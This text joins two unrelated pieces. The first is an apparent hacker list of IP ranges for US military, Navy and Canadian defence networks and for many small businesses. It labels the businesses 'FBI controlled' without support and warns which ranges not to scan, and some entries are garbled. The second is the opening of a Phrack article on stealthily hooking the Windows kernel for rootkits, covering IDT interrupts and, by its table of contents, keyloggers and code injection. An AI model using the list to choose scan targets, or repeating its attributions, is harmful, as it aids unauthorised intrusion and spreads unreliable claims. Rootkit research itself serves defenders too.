204.34.217.0 SA‑ALC/LTE

204.34.218.0 3rd Marine

204.34.219.0 Communications and Electronics

204.34.220.0 G‑6 Operations

204.34.221.0 G‑6 Operations

204.34.222.0 G‑6 Operations

204.34.223.0 G‑6 Operations

204.34.224.0 G‑6 Operations

204.34.225.0 Joint Interoperability Test Command

204.34.226.0 NAVMASSO

204.34.227.0 NAVMASSO

204.34.228.0 ‑ 204.34.228.255 Field Command Defense Nuclear Agency 204.34.229.0 Naval Space Command

204.34.230.0 Naval Pacific Meteorology and Oceanography 204.34.232.0 Military Family Housing

204.34.233.0 ‑ 204.34.233.255 Navy Material Transportation Office 204.34.234.0 NAVMASSO

204.34.235.0 Defense Finance and Accounting Service

204.34.237.0 European Stars and Stripes

204.34.238.0 Pacific Stars and Stripes

204.34.239.0 PUGET SOUND NAVAL SHIPYARD

204.34.240.0 Nval Station, Guantanamo Bay

204.34.242.0 COMNAVSURFPAC

204.34.243.0 NAVMASSO

204.34.244.0 Amphibious Force, Seventh Fleet, U. S. Navy 204.34.245.0 USAF SpaceCommand

204.34.246.0 USAF

204.34.247.0 U.S. Army Special Operations Command

204.34.248.0 FLEET COMBAT TRAINING CENTER ATLA

204.34.249.0 Naval Aviation Depot North Island

204.34.250.0 NAVMASSO

204.34.251.0 NAVSEA Log Command Detachment Pacific

204.34.252.0 Command Special Boat Squadron One

204.34.253.0 AFPCA/GNNN

204.34.254.0 Navy Environmental Preventive Medicine

RANGE 205

205.0.0.0 ‑ 205.117.255.0 Department of the Navy, Space and Naval Warfare System Command, Washington DC ‑ SPAWAR

205.96.* ‑ 205.103.*

RANGE 207

207.30.* Sprint/United Telephone of Florida

All the below are FBI controlled Linux servers & IPs/IP‑Ranges

207.60.0.0 ‑ 207.60.255.0 The Internet Access Company

207.60.2.128 ‑ 207.60.2.255 Abacus Technology

207.60.3.0 ‑ 207.60.3.127 Mass Electric Construction Co. 207.60.3.128 ‑ 207.60.3.255 Peabody Proberties Inc

207.60.4.0 ‑ 207.60.4.127 Northern Electronics

207.60.4.128 ‑ 207.60.4.255 Posternak, Blankstein & Lund 207.60.5.64 ‑ 207.60.5.127 Woodard & Curran

207.60.5.192 ‑ 207.60.5.255 On Line Services

207.60.6.0 ‑ 207.60.6.63 The 400 Group

207.60.6.64 ‑ 207.60.6.127 RD Hunter and Company

207.60.6.128 ‑ 207.60.6.191 Louis Berger and Associates 207.60.6.192 ‑ 207.60.6.255 Ross‑Simons

207.60.7.0 ‑ 207.60.7.63 Eastern Cambridge Savings Bank 207.60.7.64 ‑ 207.60.7.127 Greater Lawrence Community Action Committee 207.60.7.128 ‑ 207.60.7.191 Data Electronic Devices, Inc 207.60.8.0 ‑ 207.60.8.255 Sippican

207.60.9.0 ‑ 207.60.9.31 Alps Sportswear Mfg Co

207.60.9.32 ‑ 207.60.9.63 Escher Group Ltd

207.60.9.64 ‑ 207.60.9.95 West Suburban Elder

207.60.9.96 ‑ 207.60.9.127 Central Bank

207.60.9.128 ‑ 207.60.9.159 Danick Systems

207.60.9.160 ‑ 207.60.9.191 Alps Sportswear Mfg CO

207.60.9.192 ‑ 207.60.9.223 BSCC

207.60.13.16 ‑ 207.60.13.23 Patrons Insurance Group

207.60.13.40 ‑ 207.60.13.47 Athera Technologies

207.60.13.48 ‑ 207.60.13.55 Service Edge Partners Inc

207.60.13.56 ‑ 207.60.13.63 Massachusetts Credit Union League 207.60.13.64 ‑ 207.60.13.71 SierraCom

207.60.13.72 ‑ 207.60.13.79 AI/ FOCS

207.60.13.80 ‑ 207.60.13.87 Extreme soft

207.60.13.96 ‑ 207.60.13.103 Eaton Seo Corp

207.60.13.112 ‑ 207.60.13.119 C. White

207.60.13.120 ‑ 207.60.13.127 Athera

207.60.13.128 ‑ 207.60.13.135 Entropic Systems, INC

207.60.13.136 ‑ 207.60.13.143 Wood Product Manufactureds Associates 207.60.13.160 ‑ 207.60.13.167 Jamestown Distribution

207.60.13.168 ‑ 207.60.13.175 C&M Computers

207.60.13.176 ‑ 207.60.13.183 ABC Used Auto Parts

207.60.13.184 ‑ 207.60.13.191 Tomas Weldon

207.60.13.192 ‑ 207.60.13.199 Tage Inns

207.60.13.200 ‑ 207.60.13.207 Control Module Inc

207.60.13.208 ‑ 207.60.13.215 Hyper Crawler Information Systems 207.60.13.216 ‑ 207.60.13.223 Eastern Bearings

207.60.13.224 ‑ 207.60.13.231 North Shore Data Services 207.60.13.232 ‑ 207.60.13.239 Mas New Hampshire

207.60.14.0 ‑ 207.60.14.255 J. A. Webster

207.60.15.0 ‑ 207.60.15.127 Trilogic

207.60.16.0 ‑ 207.60.16.255 Area 54

207.60.18.0 ‑ 207.60.18.63 Vested Development Inc

207.60.18.64 ‑ 207.60.18.127 Conventures

207.60.21.0 ‑ 207.60.21.255 Don Law Company

207.60.22.0 ‑ 207.60.22.255 Advanced Microsensors

207.60.28.0 ‑ 207.60.28.63 Applied Business Center

207.60.28.64 ‑ 207.60.28.127 Color and Design Exchange

207.60.36.8 ‑ 207.60.36.15 Shaun McCusker

207.60.36.16 ‑ 207.60.36.23 Town of Framingham

207.60.36.24 ‑ 207.60.36.31 AB Software

207.60.36.32 ‑ 207.60.36.39 Seabass Dreams Too Much, Inc 207.60.36.40 ‑ 207.60.36.47 Next Ticketing

207.60.36.48 ‑ 207.60.36.55 Dulsi

207.60.36.56 ‑ 207.60.36.63 The Internet Access Company 207.60.36.64 ‑ 207.60.36.71 Maguire Group

207.60.36.72 ‑ 207.60.36.79 Cogenex

207.60.36.88 ‑ 207.60.36.95 AKNDC

207.60.36.96 ‑ 207.60.36.103 McGovern election commitee 207.60.36.104 ‑ 207.60.36.111 Digital Equipment Corp

207.60.36.112 ‑ 207.60.36.119 PTR ‑ Precision Technologies 207.60.36.120 ‑ 207.60.36.127 Extech

207.60.36.128 ‑ 207.60.36.135 Manfreddi Architects

207.60.36.144 ‑ 207.60.36.151 Parent Naffah

207.60.36.152 ‑ 207.60.36.159 Darling Dolls Inc

207.60.36.160 ‑ 207.60.36.167 Wright Communications

207.60.36.168 ‑ 207.60.36.175 Principle Software

207.60.36.176 ‑ 207.60.36.183 Chris Pet Store

207.60.36.184 ‑ 207.60.36.191 Fifteen Lilies

207.60.36.192 ‑ 207.60.36.199 All‑Com Technologies

207.60.37.0 ‑ 207.60.37.31 Cardio Thoracic Surgical Associates, P. A. 207.60.37.32 ‑ 207.60.37.63 Preferred Fixtures Inc

207.60.37.64 ‑ 207.60.37.95 Apple and Eve Distributors 207.60.37.96 ‑ 207.60.37.127 Nelson Copy Supply

207.60.37.128 ‑ 207.60.37.159 Boston Optical Fiber

207.60.37.192 ‑ 207.60.37.223 Fantasia&Company

207.60.41.0 ‑ 207.60.41.255 Infoactive

207.60.48.0 ‑ 207.60.48.255 Curry College

207.60.62.32 ‑ 207.60.62.63 Alternate Power Source

207.60.62.64 ‑ 207.60.62.95 Keystone Howley‑White

207.60.62.128 ‑ 207.60.62.159 Bridgehead Associates LTD 207.60.62.160 ‑ 207.60.62.191 County Supply

207.60.62.192 ‑ 207.60.62.223 NH Board of Nursing

207.60.64.0 ‑ 207.60.64.63 Diversified Wireless Technologies 207.60.64.64 ‑ 207.60.64.127 Phytera

207.60.66.0 ‑ 207.60.66.15 The Network Connection

207.60.66.16 ‑ 207.60.66.31 Young Refrigeration

207.60.66.32 ‑ 207.60.66.47 Vision Appraisal Technology 207.60.66.48 ‑ 207.60.66.63 EffNet Inc

207.60.66.64 ‑ 207.60.66.79 Entropic Systems Inc

207.60.66.80 ‑ 207.60.66.95 Finley Properties

207.60.66.96 ‑ 207.60.66.111 Nancy Plowman Associates 207.60.66.112 ‑ 207.60.66.127 Northeast Financial Strategies 207.60.66.128 ‑ 207.60.66.143 Textnology Corp

207.60.66.144 ‑ 207.60.66.159 Groton Neochem LLC

207.60.66.160 ‑ 207.60.66.175 Tab Computers

207.60.66.176 ‑ 207.60.66.191 Patrons Insurance

207.60.66.192 ‑ 207.60.66.207 Chair City Web

207.60.66.208 ‑ 207.60.66.223 Radex, Inc.

207.60.66.224 ‑ 207.60.66.239 Robert Austein

207.60.66.240 ‑ 207.60.66.255 Hologic Inc.

207.60.71.64 ‑ 207.60.71.127 K‑Tech International Inc. 207.60.71.128 ‑ 207.60.71.191 Pan Communications

207.60.71.192 ‑ 207.60.71.255 New England College of Finance 207.60.75.128 ‑ 207.60.75.255 Absolve Technology

207.60.78.0 ‑ 207.60.78.127 Extech

207.60.78.128 ‑ 207.60.78.255 The Insight Group

207.60.83.0 ‑ 207.60.83.255 JLM Technologies

207.60.84.0 ‑ 207.60.84.255 Strategic Solutions

207.60.94.0 ‑ 207.60.94.15 McWorks

207.60.94.32 ‑ 207.60.94.47 Rooney RealEstate

207.60.94.48 ‑ 207.60.94.63 Joseph Limo Service

207.60.94.64 ‑ 207.60.94.79 The Portico Group

207.60.94.80 ‑ 207.60.94.95 Event Travel Management Inc 207.60.94.96 ‑ 207.60.94.111 Intellitech International 207.60.94.128 ‑ 207.60.94.143 Orion Partners

207.60.94.144 ‑ 207.60.94.159 Rainbow Software Solution 207.60.94.160 ‑ 207.60.94.175 Grason Stadler Inc

207.60.94.192 ‑ 207.60.94.207 Donnegan System

207.60.95.1 ‑ 207.60.95.255 The Iprax Corp

207.60.102.0 ‑ 207.60.102.63 Coporate IT

207.60.102.64 ‑ 207.60.102.127 Putnam Technologies

207.60.102.128 ‑ 207.60.102.191 Sycamore Networks

207.60.102.192 ‑ 207.60.102.255 Bostek

2?7.6?.10?.128 ‑ 207.60.103.255 Louis Berger and Associates 207.60.104.128 ‑ 207.60.104.191 Hanson Data Systems

207.60.106.128 ‑ 207.60.106.255 Giganet Inc.

207.60.107.0 ‑ 207.60.107.255 Roll Systems

207.60.108.8 ‑ 207.60.108.15 InternetQA

207.60.111.0 ‑ 207.60.111.31 Reading Cooperative Bank 207.60.111.32 ‑ 207.60.111.63 Edco collaborative

207.60.111.64 ‑ 207.60.111.95 DTC Communications Inc

207.60.111.96 ‑ 207.60.111.127 Mike Line

207.60.111.128 ‑ 207.60.111.159 The Steppingstone Foundation 207.60.111.160 ‑ 207.60.111.191 Caton Connector

207.60.111.192 ‑ 207.60.111.223 Refron

207.60.111.224 ‑ 207.60.111.255 Dolabany Comm Group

207.60.112.0 ‑ 207.60.112.255 The CCS Companies

207.60.116.0 ‑ 207.60.116.255 Continental PET Technologies 207.60.122.16 ‑ 207.60.122.23 Corey & Company Designers Inc 207.60.122.24 ‑ 207.60.122.31 SAIC

207.60.122.32 ‑ 207.60.122.39 Netserve Entertainment Group 207.60.122.40 ‑ 207.60.122.47 Avici Systems Inc

207.60.122.48 ‑ 207.60.122.55 Webrdwne

207.60.122.56 ‑ 207.60.122.63 Reality and Wonder

207.60.122.64 ‑ 207.60.122.71 Nishan Desilva

207.60.122.72 ‑ 207.60.122.79 NemaSoft Inc

207.60.122.80 ‑ 207.60.122.87 Patrick Murphy

207.60.122.88 ‑ 207.60.122.95 Corey and Company

207.60.122.96 ‑ 207.60.122.103 Ames Textile Corp

207.60.122.104 ‑ 207.60.122.111 Publicom

207.60.127.0 ‑ Northstar Technologies

207.60.128.0 ‑ 207.60.128.255 Northstar Technologies

207.60.129.0 ‑ 207.60.129.255 Sanga Corp

207.60.129.64 ‑ 207.60.129.127 Fired Up Network

207.60.129.128 ‑ 207.60.129.191 Integrated Data Solutions 207.60.129.192 ‑ 207.60.129.255 Metanext

207.61.* WorldLinx Telecommunications, Inc., Canada

207.120.* BBN Planet, MA

RANGE 208

208.240.xxx.xxx

RANGE 209

209.35.* Interland, Inc., GA

RANGE 212

212.56.107.22

212.143 *** israelis isp's!! dont try those ranges!!

212.149.*** israelis isp's!! dont try those ranges!!

212.159.0.2

212.159.1.1

212.159.1.4

212.159.1.5

212.159.0.2

212.159.1.1

212.159.1.4

212.159.1.5

212.159.33.56

212.159.40.211

212.159.41.173

212.179.*** israelis isp's!! dont try those ranges!! 212.208.0.12.*** israelis isp's!! dont try those ranges!!

RANGE 213

213.8.***.*** israelis isp's!! dont try those ranges!!

RANGE 216

216.25.* 216.94.***.*** 216.247.* 216.248.*.* 217

217.6.* Do not scan

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

And from our Canadian friends...

192.139.201.0 ‑ 192.139.201.24 : Government of Canada 192.139.202.0 ‑ 192.139.202.24 : Government of Canada 192.139.203.0 ‑ 192.139.203.24 : Government of Canada 192.139.204.0 ‑ 192.139.204.24 : Government of Canada

192.197.83.0 ‑ 192.197.83.24 : Government of Canada

198.103.0.0 ‑ 198.103.0.16 : Government of Canada

128.43.0.0 ‑ 128.43.0.16 : Canadian Department of National Defense (DND) 131.132.0.0 ‑ 131.132.0.16 : Canadian Department of National Defense (DND) 131.133.0.0 ‑ 131.133.0.16 : Canadian Department of National Defense (DND) 131.134.0.0 ‑ 131.134.0.16 : Canadian Department of National Defense (DND) 131.135.0.0 ‑ 131.135.0.16 : Canadian Department of National Defense (DND) 131.136.0.0 ‑ 131.136.0.16 : Canadian Department of National Defense (DND) 131.137.0.0 ‑ 131.137.0.16 : Canadian Department of National Defense (DND) 131.138.0.0 ‑ 131.138.0.16 : Canadian Department of National Defense (DND) 131.139.0.0 ‑ 131.139.0.16 : Canadian Department of National Defense (DND) 131.140.0.0 ‑ 131.140.0.16 : Canadian Department of National Defense (DND) 131.141.0.0 ‑ 131.141.0.16 : Canadian Department of National Defense (DND) 192.5.144.0 ‑ 192.5.144.24 : Canadian Department of National Defense (DND) 192.12.98.0 ‑ 192.12.98.24 : Canadian Department of National Defense (DND) 192.12.215.0 ‑ 192.12.215.24 : Canadian Department of National Defense (DND)

192.16.205.0 ‑ 192.16.205.24 : Canadian Department of National Defense (DND)

192.16.206.0 ‑ 192.16.206.24 : Canadian Department of National Defense (DND)

192.16.207.0 ‑ 192.16.207.24 : Canadian Department of National Defense (DND)

192.16.208.0 ‑ 192.16.208.24 : Canadian Department of National Defense (DND)

192.16.242.0 ‑ 192.16.242.24 : Canadian Department of National Defense (DND)

192.16.243.0 ‑ 192.16.243.24 : Canadian Department of National Defense (DND)

192.35.144.0 ‑ 192.35.144.24 : Canadian Department of National Defense (DND)

192.42.68.0 ‑ 192.42.68.24 : Canadian Department of National Defense (DND)

Stealth Hooking

==Phrack Inc.==

Volume 0x0c, Issue 0x41, Phile #0x04 of 0x0f

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑=[ Stealth hooking : Another way to subvert the Windows kernel ]=‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ by mxatone and ivanlef0u ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1 ‑ Introduction on anti‑rookits technologies and bypass 1.1 ‑ Rookits and anti‑rootkits techniques

1.2 ‑ About kernel level protections

1.3 ‑ Concept key: use kernel code against itself

2 ‑ Introducing stealth hooking on IDT.

2.1 ‑ How Windows manage hardware interrupts

2.1.1 ‑ Hardware interrupts dispatching on Windows 2.1.2 ‑ Hooking hardware IT like a ninja

2.1.3 ‑ Application 1 : Kernel keylogger

2.1.4 ‑ Application 2 : NDIS incoming packets sniffer 2.2 ‑ Conclusion about stealth hooking on IDT

3 ‑ Owning NonPaged pool using stealth hooking

3.1 ‑ Kernel allocation layout review

3.1.1 ‑ Difference between Paged and NonPaged pool 3.1.2 ‑ NonPaged pool tables

3.1.3 ‑ Allocation and free algorithms

3.2 ‑ Getting code execution abusing allocation code 3.2.1 ‑ Data corruption of MmNonPagedPoolFreeListHead 3.2.2 ‑ Expend it for every size

3.3 ‑ Exploit our position

3.3.1 ‑ Generic stack redirection

3.3.2 ‑ Userland process code injection

4 ‑ Detection

5 ‑ Conclusion

6 ‑ References

‑‑‑[ 1 ‑ Introduction on anti‑rookits technologies and bypass

Nowadays rootkits and anti‑rootkits are becoming more and more important into the IT security landscape. Loved by some, hated by others, rootkits can be considered as the holy grail of backdoors : stealthy, little, close to hardware, ingenious, vicious... Their control over a computer locally or remotely make them the best choice for an attacker. Anti‑rootkits try to detect and eradicate those malicious programs. Rk techniques and complexity are evolving fast and today developing a rk or anti‑rk is a very hard mission.

This paper deals about rootkits on Windows platform. More precisely about new kind of hijacking techniques that can be applied to the Windows kernel. Readers are assumed to be aware about rootkits techniques on Windows.

‑‑‑‑[ 1.1 ‑ Rootkits and anti‑rootkits technics

A rootkit hijacks an operating system's behavior. In order to achieve this task, it can simply modify the operating system's binaries but that's not very stealthy. Most rk's use hooks on important functions and change theirs results. A basic hook redirects execution flow by changing function start or a function pointer but there is no single way to hook a routine. The most common example is the SSDT (System Service Descriptor Table), this table contains the syscall list which is a set of functions pointers. If you can modify a pointer in this table, you are able to control the behavior of one function. That's an example of how rootkits proceed, obviously there is a lot of critical areas that can be controlled by an attacker.

Anti‑rootkits try to check those areas, but the task is very hard. Most of the time, anti‑rk software makes a comparison between the memory image of the program and its binary on the disk or verify some function pointer tables to see if something has changed.

That's how the war between rk‑makers and anti‑rk‑junkies began, trying to find the best way, the best area, for hooking critical operating system features. On Windows those following areas are often used by rootkits :

‑ SSDT (kernel syscalls table) and shadow SSDT (win32k syscall table) are the simplest solution.

‑ MSR (Model Specific Registers) can be modified by a rootkit. On Windows the MSR_SYSENTER_EIP is used by the assembly instructions 'sysenter' to enter into ring0 mode. Hijacking this MSR allow an attacker to control the system.

‑ MajorFunctions are functions used by drivers for I/O processing with others devices, hooking those functions can be useful for a rootkit.

‑ IDT (Interrupt Descriptor Table) is table used by the system for handling exceptions and interruptions.

Another kind of techniques has appeared. By accessing to the kernel objects a rootkit can easily change information about processes, threads, loaded modules and other stuff. Those techniques are called DKOM (Direct Kernel Object Manipulation). For example, the Windows kernel maintains a double linked list called PsActiveProcessList (EPROCESS structures) containing information about running processes. Unlink one of them and your process will disappear from process lists like task manager, whereas the process is still running.

To block those kernel objects modifications, anti‑rk checks other sections. For processes, they used to read the PspCidTable which has a table of PID (Process IDentifier) and TID (Thread IDentifier). A comparison between this table and PsActiveProcessList shows hidden processes. Against those attacks anti‑rk tools have to find others sections and tricks to detect altered objects.

One of the first paper about Windows stealth was written by Holy Father, "Invisibility on NT boxes" [1]. With this paper came one of the first public implementations of a rootkit with a ring0 driver, Hacker Defender [2], coded by Holy Father and Ratter of the famous VXing mag 29A [3]. This driver was able to elevate process rights using token manipulation. The rest of the rootkit uses user‑land hooks to perform files and registry hiding, process infection with dll injection. A good example of a full ring0 rootkit is NT Rootkit of Greg Hoglund [4], this driver uses SSDT hooks to perform stealth operation. It registers a Filter Device Object above the NTFS file system and above the keyboard device for filtering IRP (I/O Request Packets). It also provides a NDIS protocol driver to hide communication on the network. Even if this rk was written for NT 4.0 and Win2K it's a perfect example for beginners.

After came more advanced ring0 rk like FU [5], written by Fuzen_op and its improvement FUto published in the famous technical journal Uninformed [6]. Vista improvement on driver verification introduces new rootkits mostly based on hardware features. Like BootRoot [7] and Pixie [8] by Eeye loaded before any protection. Finally Joanna Rutkowska with her Blue Pill [9] used virtualization technology to create layer between the operating system and the hardware.

In the wild the rk are used most of the time for lame mail spamming or botnets. They often use old techniques but some of them are interesting like Rustock [10] series or StormWorm [11] and the MBR rootkit [12]. They implement a lot of tricks as ADS (Alternate Data Stream), code obfuscation, anti‑debug, anti‑VM or polymorphic code. The goal is not only subverting the kernel but also slow down their analysis and make them harder to defeat.

Even if the technology used by rootkits are more and more sophisticated, the underground community is still developing POCs to improve current techniques. Unreal [13] and AK992 [14] are both great examples. The first uses an ADS and a NTFS MajorFunctions hooking to hide itself, the second checks IRP completion when sended to disk's devices. You can find plenty examples of rootkit techniques on rootkit.com.

Finally, this part would not be complete if we don't speak about anti‑rk. The most famous is Rk Unhooker by MP_ART & EP_X0FF and their team UG North. Others anti‑rk are DarkSpy [15] by CardMagic, IceSword [16] by pjf and Gmer [17].

‑‑‑‑[ 1.2 ‑ About kernel level protections

When we talk about protection, we must notice where the protection takes place into the system. A protection has an advantage on an attack only if it operates from a higher level. Protections like PaX or Exec Shield are efficient because they protecting userland from kernel.

Protections like PatchGuard and other HIPS also protect the system integrity but as far as an attacker can find a way to attack those protections at their own level they will be useless. A protection is reliable only if it can't be corrupted by an attacker. Assuming an attacker find a way to inject code into the protection and you can consider that your b0x is dead.

That's why PatchGuard isn't so efficient [18]. But we know that disabling or destroying a protection is very noisy. No, the best way is to fly under the radar by working with special objects and events that cannot be checked because of their volatility.

In June 2006, Greg Hoglund presented the concept of KOH (Kernel Object Hooking) [19]. A new way of detouring code execution, you don't have to modify static code section but rather you work on dynamic allocated structures/codes like DPC (Deferred Procedure Calls). For protections, it's hard to find and verify those areas due to their instabilities.

Others cool objects are IRP. They are the object used by the Windows kernel I/O manager to communicate with devices. Each I/O operation on hardware generates an IRP, sycalls send IRP to a driver through his device. In general a driver owns several devices; one of them is used to communique with the userland by using IOCTL and others devices are managing IRP by filtering them or performing a requested task. IRP are sent to a driver using its MajorFunctions table. This table includes the different functionalities provided by the driver. You can check the result returned by a MajorFunction by installing a completion routine on an IRP. They are very volatile objects; controlling and checking them is very hard.

In fact, if you want to check everything you would need to completely redesign operating system architecture. So keep in mind that protection cannot be everywhere at every time and we will demonstrate it in the following parts.

‑‑‑‑[ 1.3 ‑ Concept key: use kernel code against itself

The idea behind this paper is exploiting kernel code. Exploitation is possible because input defines code behavior. Submitting a crafted input to a vulnerable software can leads into code execution. Dangerous input is of course defined by your target. Kernel space contains more exploitation scenarios because you can change its environment. A rootkit can not change basic inputs as arguments. But it can change the environment around a code. Heap exploitation techniques such as unlinking is a perfect example. By changing a memory block structure, you are able to overwrite 4 bytes. Some techniques can even change next allocated block address [20]. It does work because a program trusts those information. In kernel, you have a total control on the environment. Also completely checking the kernel is bad for performance and totally impossible.

Changing code environment has been used successfully for the phide2 rootkit [21] technique. This rootkit can hide threads without hooking Windows scheduler which is impressive. As it relies on code behavior, it needs strong reverse knowledge. It extends this concept into unknown operating system behaviors. Generic protections are based on generic assumptions. Such as checking only driver images for code hooks. These days operating systems design is against those protections and requires advanced software rootkit techniques.

‑‑‑[ 2 ‑ Introducing stealth hooking on IDT

Let's introduce our concept about stealth hooking with an example based on IDT. First we will see what is the IDT and its purpose. Then we will discuss about hardware interrupts and how Windows deals with them.

IDT (Interrupt Descriptor Table) is a CPU specific linear table localized in kernel‑land. IDT can be read with ring3 privilege level but you must have ring0 privilege if you want to write into it. IDT is composed of 256 entries of KIDTENTRY structures and you can use the Kernel Debugger (KD) included into the Debugging Tools for Windows [22] to see the definition of an IDT entry.

kd> dt nt!_KIDTENTRY

+0x000 Offset : Uint2B

+0x002 Selector : Uint2B

+0x004 Access : Uint2B

+0x006 ExtendedOffset : Uint2B

Here we don't want to (re)explain the architecture of the IDT so we advise you to read Kad's paper published in Phrack 59 about IDT and about how it works [23].

The first 32 entries of IDT are reserved by the CPU for exceptions. Others are use to handle hardware interrupts and special system events.

Here is a dump of the first 64 entries of the Windows' IDT.

kd> !idt ‑a

Dumping IDT:

00: 804df350 nt!KiTrap00

01: 804df4cb nt!KiTrap01

02: Task Selector = 0x0058

03: 804df89d nt!KiTrap03

04: 804dfa20 nt!KiTrap04

05: 804dfb81 nt!KiTrap05

06: 804dfd02 nt!KiTrap06

07: 804e036a nt!KiTrap07

08: Task Selector = 0x0050

09: 804e078f nt!KiTrap09

0a: 804e08ac nt!KiTrap0A

0b: 804e09e9 nt!KiTrap0B

0c: 804e0c42 nt!KiTrap0C

0d: 804e0f38 nt!KiTrap0D

0e: 804e164f nt!KiTrap0E

0f: 804e197c nt!KiTrap0F

10: 804e1a99 nt!KiTrap10

11: 804e1bce nt!KiTrap11

12: 804e197c nt!KiTrap0F

13: 804e1d34 nt!KiTrap13

14: 804e197c nt!KiTrap0F

15: 804e197c nt!KiTrap0F

16: 804e197c nt!KiTrap0F

17: 804e197c nt!KiTrap0F

18: 804e197c nt!KiTrap0F

19: 804e197c nt!KiTrap0F

1a: 804e197c nt!KiTrap0F

1b: 804e197c nt!KiTrap0F

1c: 804e197c nt!KiTrap0F

1d: 804e197c nt!KiTrap0F

1e: 804e197c nt!KiTrap0F

1f: 804e197c nt!KiTrap0F

20: 00000000

21: 00000000

22: 00000000

23: 00000000

24: 00000000

25: 00000000

26: 00000000

27: 00000000

28: 00000000

29: 00000000

2a: 804deb92 nt!KiGetTickCount

2b: 804dec95 nt!KiCallbackReturn

2c: 804dee34 nt!KiSetLowWaitHighThread

2d: 804df77c nt!KiDebugService

2e: 804de631 nt!KiSystemService

2f: 804e197c nt!KiTrap0F

30: 806f3d48 hal!HalpClockInterrupt

31: 80dd816c i8042prt!I8042KeyboardInterruptService (KINTERRUPT 80dd8130) 32: 804ddd04 nt!KiUnexpectedInterrupt2

33: 80dd3224 serial!SerialCIsrSw (KINTERRUPT 80dd31e8)

34: 804ddd18 nt!KiUnexpectedInterrupt4

35: 804ddd22 nt!KiUnexpectedInterrupt5

36: 804ddd2c nt!KiUnexpectedInterrupt6

37: 804ddd36 nt!KiUnexpectedInterrupt7

38: 806edef0 hal!HalpProfileInterrupt

39: 80f0827c ACPI!ACPIInterruptServiceRoutine (KINTERRUPT 80f08240) 3a: 80dc67cc vmsrvc+0x1C16 (KINTERRUPT 80dc6790)

3b: 80df6414 NDIS!ndisMIsr (KINTERRUPT 80df63d8)

3c: 80de040c i8042prt!I8042MouseInterruptService (KINTERRUPT 80de03d0) 3d: 804ddd72 nt!KiUnexpectedInterrupt13

3e: 80ed78a4 atapi!IdePortInterrupt (KINTERRUPT 80ed7868)

3f: 80f01dd4 atapi!IdePortInterrupt (KINTERRUPT 80f01d98)

40: 804ddd90 nt!KiUnexpectedInterrupt16

[...]

This dump represents a typical Windows IDT, you can see the IDT entries index followed by the address of the handler and this name. The first 32 entries are filled by KiTrap* functions that manage exceptions. The rest of the table is left to the system, you can see specials system interrupts like KiSystemService and KiCallbackReturn and handlers used by drivers like I8042KeyboardInterruptService or I8042MouseInterruptService.

‑‑‑‑[ 2.1 ‑ How Windows manage hardware interrupts

When we talk about interrupts we must introduce the concept of IRQL (Interrupt ReQuest Level). The kernel represents IRQLs internally as a number from 0 through 31 on x86 with higher numbers representing higher priority interrupts. Although the kernel defines the standard set of IRQLs for software interrupts, the HAL (Hardware Abstraction Layer) maps hardware interrupt numbers to the IRQLs.

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

31 | Highests | \

to | IRQLs | | Clock, system failure.

27 | | /

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

26 | | \

to | DEVICE_IRQL | | Hardware interrupts.

3 | | /

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

2 | DISPATCH_LEVEL | Scheduler, DPC.

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

1 | APC_LEVEL | Used when dispatching APC. +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

0 | PASSIVE_LEVEL | Threads run at this IRQL. +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

Each processor has its own IRQL. You can have a core running at an IRQL= DISPATCH_LEVEL whereas another is running at PASSIVE_LEVEL. In fact IRQL represents the "mask ability" of the current running code. Interrupts from a source with an IRQL above the current level interrupt the processor, whereas interrupts from sources with IRQLs equal to or below the current level are masked until an executing thread decrease the IRQL.

Some system components are not accessible when code is running at IRQL>=DISPATH_LEVEL. Accessing to paged memory (memory which can be swapped on disk) is impossible and lots of kernel functions cannot be used.

Hardware interrupts are asynchronous and reached by external peripherals. For example when you hit a key, your keyboard device sends an IRQ (Interrupt ReQuest) routed by the Southbridge [24] on your interrupt controller through the Northbridge [25]. The Southbridge is a chip that can be described like a I/O controller hub. This chip receives all the I/O externals interrupt and send them to the Northbridge. The Northbridge is directly connected to your memory and high speed graphic bus also to your CPU. This chip is also known as the memory controller hub.

On most x86 systems we find a chipset called i82489, Advanced Programmable Interrupt Controller (APIC). The APIC is composed by 2 main components, a I/O APIC, one per CPU, and a LAPIC (Local APIC) on each core. I/O APIC uses a routing algorithm to dispatch an interrupt on the best adapted core. According to the principle of locality, I/O APIC will deliver the device interrupt on the core which handled it the previous time [26].

After this LAPIC translates the IRQ to an 8‑bits value, an interrupt vector. This interrupt vector represents IDT's entry index associated with the handler. When the core is ready to handle the interrupt, its instruction flow is redirected on the IDT entry.

IDT IDT IDT IDT

1 2 3 4

+‑‑‑+ +‑‑‑+ +‑‑‑+

| | | | | |

|‑‑‑| |‑‑‑| |‑‑‑|

| | | | | |

|‑‑‑| |‑‑‑| |‑‑‑|

| | | | | |

+‑‑‑+ +‑‑‑+ +‑‑‑+

| | |

+‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑+

| | | | | |

| core 1 | | core 2 | | core 3 | | core 4 |

| | | | | |

+‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑+

| LAPIC | | LAPIC | | LAPIC | | LAPIC |

+‑‑‑+‑‑‑‑+ +‑‑‑+‑‑‑‑+ +‑‑‑+‑‑‑‑+

| | |

| | |

<‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑

